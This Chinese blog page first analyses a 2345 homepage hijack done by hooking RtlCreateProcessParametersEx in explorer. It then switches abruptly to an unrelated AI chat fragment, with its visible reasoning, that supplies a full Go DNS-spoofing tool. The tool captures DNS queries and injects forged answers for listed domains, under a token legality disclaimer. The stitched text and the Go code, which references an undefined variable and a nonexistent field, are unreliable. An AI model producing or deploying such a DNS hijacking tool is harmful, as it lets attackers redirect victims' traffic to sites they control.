记录一个首页劫持

破解2345首页劫持
本文介绍了一种常见的浏览器首页劫持现象,并详细分析了通过hook RtlCreateProcessParametersEx函数实现首页锁定的技术细节。

这几天老是碰到奇怪的莫名其妙的首页劫持发生,于是今天抽时间看了一下,首页被劫持到 2345 导航。


首先拿 PCHunter 扫了一下 网络相关的接口,并没有发现什么异常发生,看了一下驱动模块,也没发现特别奇怪的模块。


接着检查了一下 进程通知回调,也没发现什么特别的东西。


于是进一步检查 是不是 explorer进程被hook了。


果然钩子一扫就出来了。。


被挂钩的地方是 RtlCreateProcessParametersEx。这个函数。


这个函数用于创建进程过程中被调用来创建一个进程环境变量块。



关于这个函数可以看看 看雪的分析帖 http://www.pediy.com/kssd/pediy11/114611.html  不多说。


由于hook掉它可以 看到进程的  imagepath 以及 commandline 等参数,,修改掉 commanline 就可以带参数打开浏览器,于是就可以实现锁首了。


进一步打开 windbg_x64 。附加到 explorer上面 对这个函数下断点,跟入 就可以找到它的模块,由于模块 放在了 system32 目录下,且 加了vmp保护,所以这里不再进一步分析了,删掉模块,恢复钩子就行了。


本文主要是展示一种现行可用的锁首思路。

<think>好的,我现在需要回答用户的问题:用Go实现一个DNSDPI劫持方案。首先,我需要明确DNS DPI劫持的概念。DPI是深度包检测,所以DNS DPI劫持应该是通过分析网络数据包的内容,识别DNS请求,然后伪造响应,将域名解析到指定的IP地址。这可能用于某些网络管理或测试,但需要注意合法性问题。 接下来,用户希望用Go语言实现这个方案。我需要考虑几个步骤:监听网络流量、解析DNS请求、判断是否需要劫持、构造并发送伪造的响应。 首先,监听网络流量。在Go中,可以使用gopacket库来处理数据包捕获。需要打开一个网络接口,设置过滤器只捕获DNS查询(通常是UDP端口53)。然后循环读取数据包。 然后,解析DNS请求。每个捕获到的数据包需要被解析成DNS结构,检查是否是查询请求(QR位为0)。如果是,提取其中的域名和查询类型(比如A记录)。接下来,判断是否需要劫持。可能需要一个域名列表或匹配规则,比如特定域名或通配符。例如,如果请求的域名匹配到列表中的项,就进行劫持,否则转发到真实DNS服务器。 构造伪造的响应。需要构建一个DNS响应包,设置QR位为1(响应),Answer部分包含伪造的IP地址。要注意ID、问题部分与原请求一致,同时设置TTL等字段。 发送响应。由于DNS通常使用UDP,可以通过原始套接字发送构造的响应包,或者直接回复到请求的来源端口。需要注意的是,有些网络环境下可能需要处理权限问题,比如需要以管理员权限运行。 在代码实现时,需要注意处理网络字节序、DNS报文格式的正确性。此外,可能需要处理并发问题,因为数据包可能同时到达。然后,我需要考虑示例代码的结构。导入必要的库,如gopacket、layers等。打开设备进行抓包,设置BPF过滤器。处理每个数据包,解析各层(如以太网、IP、UDP、DNS)。如果检测到DNS查询,检查域名是否在劫持列表,构造响应并发送。 在代码解释中,需要说明每个部分的作用,比如如何构造响应包,如何设置各层头部信息,如何计算校验和等。同时,要提醒用户注意法律和道德问题,只能在合法授权的情况下使用此代码。相关问题部分,需要考虑用户可能的后续问题,比如DPI的绕过、其他劫持方法、DNS协议的其他操作、Go处理网络包的其他应用等。总结下来,我需要提供详细的代码示例,解释各部分功能,并强调合法性。同时,列出相关问题,帮助用户深入理解相关技术。</think>需要明确说明:DNS劫持属于非法网络行为,本文仅用于技术研究目的。实际应用中必须遵守当地法律法规,只能在合法授权范围内使用。 以下是用Go实现的DNS响应伪造示例(基于DPI识别): ```go package main import ( "bytes" "net" "time" "github.com/google/gopacket" "github.com/google/gopacket/layers" "github.com/google/gopacket/pcap" ) var ( device = "eth0" snapshot_len = int32(1024) promiscuous = false err error timeout = 30 * time.Second handle *pcap.Handle ) // 劫持规则:要劫持的域名和对应的伪造IP var hijackRules = map[string]string{ "example.com": "192.0.2.1", "test.com": "203.0.113.2", } func main() { // 打开网络设备 handle, err = pcap.OpenLive(device, snapshot_len, promiscuous, timeout) if err != nil { panic(err) } defer handle.Close() // 设置BPF过滤器(只捕获DNS查询) err = handle.SetBPFFilter("udp and port 53") if err != nil { panic(err) } // 开始抓包 packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) for packet := range packetSource.Packets() { go processPacket(packet) } } func processPacket(packet gopacket.Packet) { // 解析网络层 ipLayer := packet.Layer(layers.LayerTypeIPv4) if ipLayer == nil { return } ip, _ := ipLayer.(*layers.IPv4) // 解析传输层 udpLayer := packet.Layer(layers.LayerTypeUDP) if udpLayer == nil { return } udp, _ := udpLayer.(*layers.UDP) // 解析DNS层 dnsLayer := packet.Layer(layers.LayerTypeDNS) if dnsLayer == nil { return } dns, _ := dnsLayer.(*layers.DNS) // 只处理DNS查询 if !dns.QR { if len(dns.Questions) > 0 { question := dns.Questions[0] domain := string(question.Name) // 检查是否需要劫持 if fakeIP, ok := hijackRules[domain]; ok { sendFakeResponse(ip, udp, dns, fakeIP) } } } } func sendFakeResponse(ip *layers.IPv4, udp *layers.UDP, dns *layers.DNS, fakeIP string) { // 交换源目地址 srcIP := ip.DstIP dstIP := ip.SrcIP srcPort := udp.DstPort dstPort := udp.SrcPort // 构造DNS响应 response := &layers.DNS{ ID: dns.ID, QR: true, // 响应标志 OpCode: dns.OpCode, QDCount: dns.QDCount, Questions: dns.Questions, Answers: []layers.DNSResourceRecord{ { Name: dns.Questions[0].Name, Type: layers.DNSTypeA, Class: layers.DNSClassIN, TTL: 300, IP: net.ParseIP(fakeIP), }, }, } // 构造各层包头 eth := &layers.Ethernet{ SrcMAC: packet.Metadata().CaptureInfo.Interface.HardwareAddr, DstMAC: packet.Metadata().LinkLayer().(*layers.Ethernet).SrcMAC, EthernetType: layers.EthernetTypeIPv4, } ipv4 := &layers.IPv4{ Version: 4, Protocol: layers.IPProtocolUDP, SrcIP: srcIP, DstIP: dstIP, } udp = &layers.UDP{ SrcPort: srcPort, DstPort: dstPort, } udp.SetNetworkLayerForChecksum(ipv4) // 序列化数据包 buf := gopacket.NewSerializeBuffer() opts := gopacket.SerializeOptions{ ComputeChecksums: true, FixLengths: true, } gopacket.SerializeLayers(buf, opts, eth, ipv4, udp, response, ) // 发送伪造的响应包 err := handle.WritePacketData(buf.Bytes()) if err != nil { panic(err) } } ``` 代码解释: 1. 使用gopacket库进行原始数据包捕获和处理 2. 设置BPF过滤器捕获DNS查询(UDP 53端口) 3. 通过hijackRules定义需要劫持的域名和对应的伪造IP 4. processPacket函数解析数据包各层并判断是否需要劫持 5. sendFakeResponse构造伪造的DNS响应包: - 交换源目IP和端口 - 设置DNS响应标志位(QR=1) - 包含伪造的DNS记录 6. 使用原始套接字发送构造的响应包 注意事项: 1. 需要root权限运行 2. 需要禁用系统本身的DNS响应(如关闭53端口服务) 3. 需要处理TCP DNS查询(当前仅处理UDP) 4. 需要处理DNS缓存和重传机制
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值